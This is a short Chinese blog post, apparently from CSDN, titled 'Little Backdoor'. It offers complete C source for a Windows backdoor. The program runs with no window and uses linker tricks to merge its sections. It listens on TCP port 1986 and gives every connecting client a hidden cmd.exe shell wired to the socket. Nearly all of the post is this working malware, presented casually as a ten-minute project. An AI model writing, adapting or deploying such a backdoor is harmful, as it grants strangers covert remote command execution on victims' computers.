Little Backdoor

最新推荐文章于 2025-09-06 19:07:12 发布

heiyoubei513

最新推荐文章于 2025-09-06 19:07:12 发布

阅读量511

点赞数

CC 4.0 BY-SA版权

文章标签： linker winapi stream null socket windows

本文链接：https://blog.youkuaiyun.com/heiyoubei513/article/details/4009295

本文介绍了一个简单的后门程序实现过程，该程序通过创建监听线程接收远程指令并执行CMD命令，实现远程控制功能。使用了Winsock2及Windows API进行网络通信与进程管理。

十分钟写了一个小后门，呵呵这只是一个雏形，功能很单一，见笑了！

#pragma comment(linker,"/subsystem:windows /FILEALIGN:0x200 /ENTRY:Entrypoint")
#pragma comment(linker,"/INCREMENTAL:NO /IGNORE:4078")
#pragma comment(linker,"/MERGE:.idata=.text /MERGE:.data=.text /MERGE:.rdata=.text /MERGE:.text=DNA32r /SECTION:DNA32r,EWR")
#pragma comment(lib,"ws2_32.lib")

#include <winsock2.h>
#include <windows.h>

#define MasterPort 1986 //连接端口

int WINAPI ShellThread(SOCKET SSocket)
{
STARTUPINFO StartupInfo;
PROCESS_INFORMATION ProcessInfo;
char szCMDPath[255];

//ZeroMemory(&wsaData,sizeof(WSADATA));
ZeroMemory(&StartupInfo,sizeof(STARTUPINFO));
ZeroMemory(&ProcessInfo,sizeof(PROCESS_INFORMATION));

StartupInfo.cb = sizeof(STARTUPINFO);
StartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
StartupInfo.wShowWindow = SW_HIDE;
StartupInfo.hStdInput = (HANDLE)SSocket;
StartupInfo.hStdOutput = (HANDLE)SSocket;
StartupInfo.hStdError = (HANDLE)SSocket;
//获取CMD的路径
GetEnvironmentVariable("ComSpec",szCMDPath,sizeof(szCMDPath));
//创建匿名管道
::CreateProcess(NULL,szCMDPath,0,0,1,0,0,0,&StartupInfo,&ProcessInfo);
::WaitForSingleObject(ProcessInfo.hProcess,INFINITE);
::CloseHandle(ProcessInfo.hProcess);
::CloseHandle(ProcessInfo.hThread);
return 0;
}

void Entrypoint()
{
WSADATA wsaData;
sockaddr_in SockAddrIn;
SOCKET CSocket,SSocket;
int iAddrSize;

ZeroMemory(&wsaData,sizeof(WSADATA));
//加载ws2_32.dll
WSAStartup(0x0202,&wsaData);

//设置本地信息和绑定协议
SockAddrIn.sin_family = AF_INET;
SockAddrIn.sin_port = htons(MasterPort);
SockAddrIn.sin_addr.S_un.S_addr = INADDR_ANY;
CSocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);

//绑定端口
bind(CSocket,(sockaddr *)&SockAddrIn,sizeof(SockAddrIn));
listen(CSocket,1);

while(TRUE)
{
  iAddrSize = sizeof(SockAddrIn);
  SSocket = accept(CSocket,(sockaddr *)&SockAddrIn,&iAddrSize);
  CreateThread(0,0,(LPTHREAD_START_ROUTINE)ShellThread,(LPVOID)SSocket,0,0);
}

::closesocket(CSocket);
::closesocket(SSocket);
::WSACleanup();
//return 0;
}